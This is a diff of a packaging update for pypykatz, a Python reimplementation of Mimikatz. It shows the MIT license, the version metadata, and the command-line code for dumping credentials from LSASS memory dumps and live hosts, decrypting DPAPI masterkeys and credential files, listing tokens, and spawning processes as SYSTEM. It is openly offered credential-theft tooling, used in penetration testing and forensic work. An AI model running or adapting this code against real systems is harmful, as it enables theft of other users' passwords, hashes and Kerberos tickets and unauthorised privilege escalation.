New upstream version 0.4.9
Sophie Brun
2 years ago
0 | MIT License | |
1 | ||
2 | Copyright (c) 2018 | |
3 | ||
4 | Permission is hereby granted, free of charge, to any person obtaining a copy | |
5 | of this software and associated documentation files (the "Software"), to deal | |
6 | in the Software without restriction, including without limitation the rights | |
7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
8 | copies of the Software, and to permit persons to whom the Software is | |
9 | furnished to do so, subject to the following conditions: | |
10 | ||
11 | The above copyright notice and this permission notice shall be included in all | |
12 | copies or substantial portions of the Software. | |
13 | ||
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
20 | SOFTWARE. |
0 | include LICENSE README.md |
0 | 0 | Metadata-Version: 1.2 |
1 | 1 | Name: pypykatz |
2 | Version: 0.3.7 | |
2 | Version: 0.4.9 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
6 | Author-email: [email protected] | |
6 | Author-email: [email protected] | |
7 | 7 | License: UNKNOWN |
8 | 8 | Description: UNKNOWN |
9 | 9 | Platform: UNKNOWN |
1 | 1 | Mimikatz implementation in pure Python. At least a part of it :) |
2 | 2 | Runs on all OS's which support python>=3.6 |
3 | 3 | ![pypy_card](https://user-images.githubusercontent.com/19204702/71646030-221fe200-2ce1-11ea-9e2a-e587ea4790d7.jpg) |
4 | ||
5 | ## Sponsors | |
6 | [<img src="https://user-images.githubusercontent.com/19204702/112737376-6e94b480-8f5a-11eb-8134-06397e83a3b9.png" width="130" height="130"/>](https://kovert.no/) | |
7 | ||
4 | 8 | |
5 | 9 | ## WIKI |
6 | 10 | Since version 0.1.1 the command line changed a little. Worry not, I have an awesome [WIKI](https://github.com/skelsec/pypykatz/wiki) for you. |
17 | 21 | ### Via Github |
18 | 22 | Install prerequirements |
19 | 23 | ``` |
20 | pip3 install minidump minikerberos aiowinreg msldap winsspi | |
24 | pip3 install minidump minikerberos aiowinreg msldap winacl | |
21 | 25 | ``` |
22 | 26 | Clone this repo |
23 | 27 | ``` |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | import os | |
7 | import logging | |
8 | ||
9 | def main(): | |
10 | import argparse | |
11 | import glob | |
12 | ||
13 | from pypykatz.alsadecryptor.cmdhelper import LSACMDHelper | |
14 | ||
15 | ||
16 | cmdhelpers = [LSACMDHelper()] | |
17 | ||
18 | ||
19 | parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') | |
20 | parser.add_argument('-v', '--verbose', action='count', default=0) | |
21 | ||
22 | subparsers = parser.add_subparsers(help = 'commands') | |
23 | subparsers.required = True | |
24 | subparsers.dest = 'command' | |
25 | ||
26 | live_group = subparsers.add_parser('live', help='Get secrets from live machine') | |
27 | live_subparsers = live_group.add_subparsers() | |
28 | live_subparsers.required = True | |
29 | live_subparsers.dest = 'module' | |
30 | ||
31 | #this is the new cmd helper formet, in beta mode currently | |
32 | for helper in cmdhelpers: | |
33 | helper.add_args(subparsers, live_subparsers) | |
34 | ||
35 | ||
36 | live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands') | |
37 | ||
38 | live_subparser_process_group.add_argument('cmd', choices=['create']) | |
39 | live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process') | |
40 | live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process') | |
41 | live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe') | |
42 | ||
43 | live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands') | |
44 | live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) | |
45 | live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') | |
46 | live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') | |
47 | live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) | |
48 | ||
49 | version_group = subparsers.add_parser('version', help='version') | |
50 | banner_group = subparsers.add_parser('banner', help='banner') | |
51 | logo_group = subparsers.add_parser('logo', help='logo') | |
52 | ||
53 | ####### PARSING ARGUMENTS | |
54 | ||
55 | args = parser.parse_args() | |
56 | ||
57 | ||
58 | ###### VERBOSITY | |
59 | if args.verbose == 0: | |
60 | logging.basicConfig(level=logging.INFO) | |
61 | elif args.verbose == 1: | |
62 | logging.basicConfig(level=logging.DEBUG) | |
63 | else: | |
64 | level = 5 - args.verbose | |
65 | logging.basicConfig(level=level) | |
66 | ||
67 | ##### Common obj | |
68 | #results = {} | |
69 | #files_with_error = [] | |
70 | ||
71 | for helper in cmdhelpers: | |
72 | helper.execute(args) | |
73 | ||
74 | ||
75 | ###### Live | |
76 | if args.command == 'live': | |
77 | if args.module == 'process': | |
78 | if args.cmd == 'create': | |
79 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
80 | pm = ProcessManipulator() | |
81 | sid = 'S-1-5-18' | |
82 | if args.sid is not None: | |
83 | sid = args.sid | |
84 | ||
85 | if args.cmdline is not None: | |
86 | cmdline = args.cmdline | |
87 | else: | |
88 | #looking for the correct path... | |
89 | cmdline = os.environ['ComSpec'] | |
90 | ||
91 | pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive) | |
92 | return | |
93 | ||
94 | elif args.module == 'token': | |
95 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
96 | if args.cmd == 'list': | |
97 | pm = ProcessManipulator() | |
98 | for ti in pm.list_all_tokens(args.force): | |
99 | print(str(ti)) | |
100 | return | |
101 | ||
102 | if args.cmd == 'current': | |
103 | pm = ProcessManipulator() | |
104 | token_info = pm.get_current_token_info() | |
105 | print(str(token_info)) | |
106 | return | |
107 | ||
108 | elif args.module == 'users': | |
109 | from pypykatz.commons.winapi.machine import LiveMachine | |
110 | ||
111 | if args.cmd == 'list': | |
112 | lm = LiveMachine() | |
113 | users = lm.list_users() | |
114 | for sid in users: | |
115 | print(str(users[sid])) | |
116 | ||
117 | elif args.cmd == 'whoami': | |
118 | lm = LiveMachine() | |
119 | user = lm.get_current_user() | |
120 | print(str(user)) | |
121 | ||
122 | elif args.command == 'version': | |
123 | from pypykatz._version import __version__ | |
124 | print(__version__) | |
125 | ||
126 | elif args.command == 'banner': | |
127 | from pypykatz._version import __banner__ | |
128 | print(__banner__) | |
129 | ||
130 | elif args.command == 'logo': | |
131 | from pypykatz._version import __logo__, __logo_color__ | |
132 | print(__logo_color__) | |
133 | print(__logo__) | |
134 | ||
135 | ||
136 | ||
137 | ||
138 | if __name__ == '__main__': | |
139 | main() |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import io | |
7 | 6 | import os |
8 | import re | |
9 | import struct | |
10 | 7 | import logging |
11 | import traceback | |
12 | import json | |
13 | import ntpath | |
14 | ||
15 | ||
16 | from pypykatz.registry.offline_parser import OffineRegistry | |
17 | from pypykatz.commons.common import UniversalEncoder, hexdump | |
18 | 8 | |
19 | 9 | def main(): |
20 | 10 | import argparse |
21 | 11 | import glob |
22 | 12 | |
23 | 13 | from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper |
24 | #from pypykatz.ldap.cmdhelper import LDAPCMDHelper | |
14 | from pypykatz.ldap.cmdhelper import LDAPCMDHelper | |
25 | 15 | from pypykatz.kerberos.cmdhelper import KerberosCMDHelper |
26 | 16 | from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper |
27 | 17 | from pypykatz.registry.cmdhelper import RegistryCMDHelper |
28 | 18 | from pypykatz.remote.cmdhelper import RemoteCMDHelper |
19 | from pypykatz.dpapi.cmdhelper import DPAPICMDHelper | |
29 | 20 | |
30 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] #LDAPCMDHelper(), | |
21 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()] | |
31 | 22 | |
23 | try: | |
24 | from pypykatz.smb.cmdhelper import SMBCMDHelper | |
25 | cmdhelpers.append(SMBCMDHelper()) | |
26 | except Exception as e: | |
27 | print(e) | |
28 | pass | |
32 | 29 | |
33 | 30 | parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') |
34 | 31 | parser.add_argument('-v', '--verbose', action='count', default=0) |
59 | 56 | live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') |
60 | 57 | live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') |
61 | 58 | live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) |
62 | ||
63 | live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands') | |
64 | live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry') | |
65 | live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file') | |
66 | live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file') | |
67 | live_subparser_dpapi_group.add_argument('--cred', help= 'credential file') | |
68 | live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file') | |
69 | 59 | |
70 | dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands') | |
71 | dpapi_subparsers = dpapi_group.add_subparsers() | |
72 | dpapi_subparsers.required = True | |
73 | dpapi_subparsers.dest = 'dapi_module' | |
74 | ||
75 | dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID') | |
76 | dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse') | |
77 | dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
78 | dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file') | |
79 | dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file') | |
80 | dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file') | |
81 | dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.') | |
82 | dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID') | |
83 | dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!') | |
84 | ||
85 | dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file') | |
86 | dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') | |
87 | ||
88 | dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') | |
89 | dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file') | |
90 | dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format') | |
91 | dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates') | |
92 | dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
93 | ||
94 | ||
95 | dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') | |
96 | dpapi_credential_group.add_argument('cred', help='path to credential file') | |
97 | dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') | |
98 | dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') | |
99 | ||
100 | dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') | |
101 | dpapi_vcred_group.add_argument('vcred', help='path to vcred file') | |
102 | dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') | |
103 | ||
104 | dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') | |
105 | dpapi_vpol_group.add_argument('vpol', help='path to vpol file') | |
106 | dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') | |
107 | dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') | |
108 | ||
109 | sake_group = subparsers.add_parser('sake', help='sake') | |
110 | 60 | version_group = subparsers.add_parser('version', help='version') |
111 | 61 | banner_group = subparsers.add_parser('banner', help='banner') |
62 | logo_group = subparsers.add_parser('logo', help='logo') | |
112 | 63 | |
113 | 64 | ####### PARSING ARGUMENTS |
114 | 65 | |
115 | 66 | args = parser.parse_args() |
116 | ||
117 | 67 | |
118 | 68 | ###### VERBOSITY |
119 | 69 | if args.verbose == 0: |
178 | 128 | lm = LiveMachine() |
179 | 129 | user = lm.get_current_user() |
180 | 130 | print(str(user)) |
181 | ||
182 | elif args.module == 'dpapi': | |
183 | from pypykatz.dpapi.dpapi import DPAPI | |
184 | ||
185 | dpapi = DPAPI() | |
186 | #####pre-key section | |
187 | if args.method_registry == True: | |
188 | dpapi.get_prekeys_form_registry_live() | |
189 | ||
190 | if not args.mkf: | |
191 | raise Exception('Live registry method requires masterkeyfile to be set!') | |
192 | ||
193 | dpapi.decrypt_masterkey_file(args.mkf) | |
194 | ||
195 | else: | |
196 | dpapi.get_masterkeys_from_lsass_live() | |
197 | ||
198 | #decryption stuff | |
199 | if args.vcred: | |
200 | if args.vpol is None: | |
201 | raise Exception('for VCRED decryption you must suppliy VPOL file') | |
202 | dpapi.decrypt_vpol_file(args.vpol) | |
203 | res = dpapi.decrypt_vcrd_file(args.vcred) | |
204 | for attr in res: | |
205 | for i in range(len(res[attr])): | |
206 | if res[attr][i] is not None: | |
207 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
208 | print(hexdump(res[attr][i])) | |
209 | ||
210 | elif args.vpol: | |
211 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol) | |
212 | print('VPOL key1: %s' % key1.hex()) | |
213 | print('VPOL key2: %s' % key2.hex()) | |
214 | ||
215 | elif args.cred: | |
216 | cred_blob = dpapi.decrypt_credential_file(args.cred) | |
217 | print(cred_blob.to_text()) | |
218 | ||
219 | else: | |
220 | #just printing masterkeys | |
221 | for guid in dpapi.masterkeys: | |
222 | print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) | |
223 | ||
224 | if len(dpapi.masterkeys) == 0: | |
225 | print('Failed to decrypt masterkey') | |
226 | ||
227 | ||
228 | ###### DPAPI offline | |
229 | elif args.command == 'dpapi': | |
230 | from pypykatz.dpapi.dpapi import DPAPI | |
231 | ||
232 | dpapi = DPAPI() | |
233 | ||
234 | if args.dapi_module == 'prekey': | |
235 | if args.keysource == 'registry': | |
236 | if args.system is None: | |
237 | raise Exception('SYSTEM hive must be specified for registry parsing!') | |
238 | if args.sam is None and args.security is None: | |
239 | raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') | |
240 | ||
241 | dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) | |
242 | ||
243 | elif args.keysource == 'password': | |
244 | if args.sid is None: | |
245 | raise Exception('SID must be specified for generating prekey in this mode') | |
246 | ||
247 | pw = args.password | |
248 | if args.password is None: | |
249 | import getpass | |
250 | pw = getpass.getpass() | |
251 | ||
252 | dpapi.get_prekeys_from_password(args.sid, password = pw) | |
253 | ||
254 | elif args.keysource == 'nt': | |
255 | if args.nt is None or args.sid is None: | |
256 | raise Exception('NT hash and SID must be specified for generating prekey in this mode') | |
257 | ||
258 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) | |
259 | ||
260 | ||
261 | dpapi.dump_pre_keys(args.out_file) | |
262 | ||
263 | ||
264 | elif args.dapi_module == 'minidump': | |
265 | if args.minidumpfile is None: | |
266 | raise Exception('minidump file must be specified for mindiump parsing!') | |
267 | ||
268 | dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) | |
269 | dpapi.dump_masterkeys(args.out_file) | |
270 | ||
271 | ||
272 | elif args.dapi_module == 'masterkey': | |
273 | if args.key is None and args.prekey is None: | |
274 | raise Exception('Etieher KEY or path to prekey file must be supplied!') | |
275 | ||
276 | if args.prekey: | |
277 | dpapi.load_pre_keys(args.prekey) | |
278 | dpapi.decrypt_masterkey_file(args.mkf) | |
279 | ||
280 | if args.key: | |
281 | dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) | |
282 | ||
283 | if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: | |
284 | print('Failed to decrypt the masterkeyfile!') | |
285 | return | |
286 | ||
287 | dpapi.dump_masterkeys(args.out_file) | |
288 | ||
289 | elif args.dapi_module == 'credential': | |
290 | if args.masterkey is None and args.mkb_file is None: | |
291 | raise Exception('Either masterkey or pre-generated MKB file must be specified') | |
292 | ||
293 | if args.mkb_file is not None: | |
294 | dpapi.load_masterkeys(args.mkb_file) | |
295 | cred_blob = dpapi.decrypt_credential_file(args.cred) | |
296 | else: | |
297 | cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey) | |
298 | ||
299 | print(cred_blob.to_text()) | |
300 | ||
301 | elif args.dapi_module == 'vpol': | |
302 | if args.masterkey is None and args.mkb_file is None: | |
303 | raise Exception('Either masterkey or pre-generated MKB file must be specified') | |
304 | ||
305 | if args.mkb_file is not None: | |
306 | dpapi.load_masterkeys(args.mkb_file) | |
307 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol) | |
308 | else: | |
309 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey) | |
310 | ||
311 | ||
312 | print('VPOL key1: %s' % key1.hex()) | |
313 | print('VPOL key2: %s' % key2.hex()) | |
314 | ||
315 | ||
316 | elif args.dapi_module == 'vcred': | |
317 | if args.vpolkey is None: | |
318 | raise Exception('VPOL key bust be specified!') | |
319 | ||
320 | res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey) | |
321 | for attr in res: | |
322 | for i in range(len(res[attr])): | |
323 | if res[attr][i] is not None: | |
324 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
325 | print(hexdump(res[attr][i])) | |
326 | ||
327 | ###### Sake | |
328 | elif args.command == 'sake': | |
329 | from pypykatz.utils.sake.sake import Sake | |
330 | s = Sake() | |
331 | print(s.draw()) | |
332 | 131 | |
333 | 132 | elif args.command == 'version': |
334 | 133 | from pypykatz._version import __version__ |
337 | 136 | elif args.command == 'banner': |
338 | 137 | from pypykatz._version import __banner__ |
339 | 138 | print(__banner__) |
139 | ||
140 | elif args.command == 'logo': | |
141 | from pypykatz._version import __logo__, __logo_color__ | |
142 | print(__logo_color__) | |
143 | print(__logo__) | |
340 | 144 | |
341 | 145 | |
342 | 146 |
0 | 0 | |
1 | __version__ = "0.3.7" | |
1 | __version__ = "0.4.9" | |
2 | 2 | __banner__ = \ |
3 | 3 | """ |
4 | 4 | # pypyKatz %s |
5 | 5 | # Author: Tamas Jos @skelsec |
6 | 6 | # License: MIT |
7 | """ % __version__⏎ | |
7 | """ % __version__ | |
8 | ||
9 | __logo__ = \ | |
10 | """ | |
11 | &. | |
12 | @@@@@ | |
13 | ///////\\ @@@@@@@ | |
14 | ////////////. @@@@@@@@@@ | |
15 | ///(( /////\. @/@@@@@@@@@ | |
16 | //(( ///// @@@@@@@@@@@@@ | |
17 | //((( / " @@@@@@@@@ | |
18 | \(((( @@@@@@@@@@@@@ | |
19 | \\((((((.@@@@@@@@@@@@@@@@ | |
20 | ------ P Y P Y K A T Z ------ | |
21 | """ | |
22 | ||
23 | __logo_color__ = \ | |
24 | """ | |
25 | \x1b[38;5;240m &. \x1b[0m | |
26 | \x1b[38;5;240m @@@@@ \x1b[0m | |
27 | \x1b[38;5;118m ///////\\\\ \x1b[38;5;240m @@@@@@@ \x1b[0m | |
28 | \x1b[38;5;118m ////////////. \x1b[38;5;240m @@@@@@@@@@ \x1b[0m | |
29 | \x1b[38;5;118m///\x1b[38;5;106m(( \x1b[38;5;118m/////\x1b[38;5;240m\\\x1b[38;5;118m. \x1b[38;5;240m @\x1b[38;5;118m/\x1b[38;5;240m@@@@@@@@@ \x1b[0m | |
30 | \x1b[38;5;118m//\x1b[38;5;106m((\x1b[38;5;118m ///// \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m | |
31 | \x1b[38;5;118m//\x1b[38;5;106m((( \x1b[38;5;15m/ " \x1b[38;5;240m@@@@@@@@@\x1b[0m | |
32 | \x1b[38;5;118m \\\x1b[38;5;106m(((( \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m | |
33 | \x1b[38;5;118m \\\\\x1b[38;5;106m((((((\x1b[38;5;240m.@@@@@@@@@@@@@@@@ \x1b[0m | |
34 | ------ \x1b[38;5;196mP Y P Y K A T Z\x1b[0m ------ | |
35 | """⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from .lsa_templates import * | |
7 | from .lsa_decryptor import * | |
8 | from .packages import *⏎ |
0 | ||
1 | import math | |
2 | ||
3 | class FileSection: | |
4 | def __init__(self, startpos, data): | |
5 | self.startpos = startpos | |
6 | self.endpos = startpos + len(data) | |
7 | self.data = data | |
8 | ||
9 | def inrange(self, start, size): | |
10 | if start >= self.startpos and (start+size) <= self.endpos: | |
11 | return True | |
12 | return False | |
13 | ||
14 | def read(self, start, size): | |
15 | return self.data[ start - self.startpos : (start - self.startpos) + size] | |
16 | ||
17 | class SMBFileReader: | |
18 | def __init__(self, smbfile): | |
19 | self.smbfile = smbfile | |
20 | self.cache = [] | |
21 | self.curpos = 0 | |
22 | ||
23 | async def open(self, connection, mode = 'r'): | |
24 | return await self.smbfile.open(connection, mode=mode) | |
25 | ||
26 | ||
27 | async def read(self, n = -1): | |
28 | #print('read %s' % n) | |
29 | if n == 0: | |
30 | return b'' | |
31 | ||
32 | if n != -1: | |
33 | for section in self.cache: | |
34 | if section.inrange(self.curpos, n) is True: | |
35 | #print(n) | |
36 | data = section.read(self.curpos, n) | |
37 | #print(data) | |
38 | await self.seek(n, 1) | |
39 | return data | |
40 | ||
41 | #print('CACHE MISS!') | |
42 | # requested data not found in cache, this case we will read a larger chunk than requested and store it in memory | |
43 | # since reading more data skews the current position we will need to reset the position by calling seek with the correct pos | |
44 | ||
45 | readsize = min(self.smbfile.maxreadsize, self.smbfile.size) | |
46 | buffer = b'' | |
47 | ||
48 | # this is needed bc sometimes the readsize is smaller than the requested amount | |
49 | for _ in range(int(math.ceil(n/readsize))): | |
50 | data, err = await self.smbfile.read(readsize) | |
51 | if err is not None: | |
52 | raise err | |
53 | buffer += data | |
54 | ||
55 | section = FileSection(self.curpos, buffer) | |
56 | self.cache.append(section) | |
57 | ||
58 | data = section.read(self.curpos, n) | |
59 | await self.seek(self.curpos + n, 0) | |
60 | return data | |
61 | ||
62 | async def close(self): | |
63 | return await self.smbfile.close() | |
64 | ||
65 | async def delete(self): | |
66 | return await self.smbfile.delete() | |
67 | ||
68 | def tell(self): | |
69 | return self.curpos | |
70 | ||
71 | async def seek(self, n, whence = 0): | |
72 | #print('seek %s %s' % (whence, n)) | |
73 | _, err = await self.smbfile.seek(n, whence) | |
74 | if err is not None: | |
75 | raise err | |
76 | self.curpos = self.smbfile.tell()⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | import os | |
7 | import json | |
8 | import glob | |
9 | import ntpath | |
10 | import traceback | |
11 | import asyncio | |
12 | import base64 | |
13 | ||
14 | from pypykatz import logging | |
15 | from pypykatz.apypykatz import apypykatz | |
16 | from pypykatz.commons.common import UniversalEncoder | |
17 | from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession | |
18 | ||
19 | ||
20 | ||
21 | class LSACMDHelper: | |
22 | def __init__(self): | |
23 | self.live_keywords = ['lsa'] | |
24 | self.keywords = ['lsa'] | |
25 | ||
26 | def add_args(self, parser, live_parser): | |
27 | group = parser.add_parser('lsa', help='Get secrets from memory dump') | |
28 | group.add_argument('cmd', choices=['minidump','rekall']) | |
29 | group.add_argument('memoryfile', help='path to the dump file') | |
30 | group.add_argument('-t','--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)') | |
31 | group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') | |
32 | group.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed') | |
33 | group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') | |
34 | group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') | |
35 | group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing') | |
36 | group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder') | |
37 | group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') | |
38 | group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap'], nargs="+", default = 'all', help = 'LSASS package to parse') | |
39 | ||
40 | ||
41 | def execute(self, args): | |
42 | if len(self.keywords) > 0 and args.command in self.keywords: | |
43 | asyncio.run(self.run(args)) | |
44 | ||
45 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
46 | self.run_live(args) | |
47 | ||
48 | def process_results(self, results, files_with_error, args): | |
49 | if args.outfile and args.json: | |
50 | with open(args.outfile, 'w') as f: | |
51 | json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) | |
52 | ||
53 | elif args.outfile and args.grep: | |
54 | with open(args.outfile, 'w', newline = '') as f: | |
55 | f.write(':'.join(LogonSession.grep_header) + '\r\n') | |
56 | for result in results: | |
57 | for luid in results[result].logon_sessions: | |
58 | for row in results[result].logon_sessions[luid].to_grep_rows(): | |
59 | f.write(':'.join(row) + '\r\n') | |
60 | ||
61 | elif args.outfile: | |
62 | with open(args.outfile, 'w') as f: | |
63 | for result in results: | |
64 | f.write('FILE: ======== %s =======\n' % result) | |
65 | ||
66 | for luid in results[result].logon_sessions: | |
67 | f.write('\n'+str(results[result].logon_sessions[luid])) | |
68 | ||
69 | if len(results[result].orphaned_creds) > 0: | |
70 | f.write('\n== Orphaned credentials ==\n') | |
71 | for cred in results[result].orphaned_creds: | |
72 | f.write(str(cred)) | |
73 | ||
74 | if len(files_with_error) > 0: | |
75 | f.write('\n== Failed to parse these files:\n') | |
76 | for filename in files_with_error: | |
77 | f.write('%s\n' % filename) | |
78 | ||
79 | elif args.json: | |
80 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) | |
81 | ||
82 | elif args.grep: | |
83 | print(':'.join(LogonSession.grep_header)) | |
84 | for result in results: | |
85 | for luid in results[result].logon_sessions: | |
86 | for row in results[result].logon_sessions[luid].to_grep_rows(): | |
87 | print(':'.join(row)) | |
88 | for cred in results[result].orphaned_creds: | |
89 | t = cred.to_dict() | |
90 | if t['credtype'] != 'dpapi': | |
91 | if t['password'] is not None: | |
92 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
93 | print(':'.join(x)) | |
94 | else: | |
95 | t = cred.to_dict() | |
96 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
97 | print(':'.join(x)) | |
98 | ||
99 | for pkg, err in results[result].errors: | |
100 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
101 | err_str = base64.b64encode(err_str.encode()).decode() | |
102 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] | |
103 | print(':'.join(x) + '\r\n') | |
104 | ||
105 | else: | |
106 | for result in results: | |
107 | print('FILE: ======== %s =======' % result) | |
108 | if isinstance(results[result], str): | |
109 | print(results[result]) | |
110 | else: | |
111 | for luid in results[result].logon_sessions: | |
112 | print(str(results[result].logon_sessions[luid])) | |
113 | ||
114 | if len(results[result].orphaned_creds) > 0: | |
115 | print('== Orphaned credentials ==') | |
116 | for cred in results[result].orphaned_creds: | |
117 | print(str(cred)) | |
118 | ||
119 | if len(results[result].errors) > 0: | |
120 | print('== Errors ==') | |
121 | for pkg, err in results[result].errors: | |
122 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
123 | err_str = base64.b64encode(err_str.encode()).decode() | |
124 | print('%s %s' % (pkg+'_exception_please_report',err_str)) | |
125 | ||
126 | ||
127 | if len(files_with_error) > 0: | |
128 | print('\n==== Parsing errors:') | |
129 | for filename in files_with_error: | |
130 | print(filename) | |
131 | ||
132 | ||
133 | if args.kerberos_dir: | |
134 | dir = os.path.abspath(args.kerberos_dir) | |
135 | logging.info('Writing kerberos tickets to %s' % dir) | |
136 | for filename in results: | |
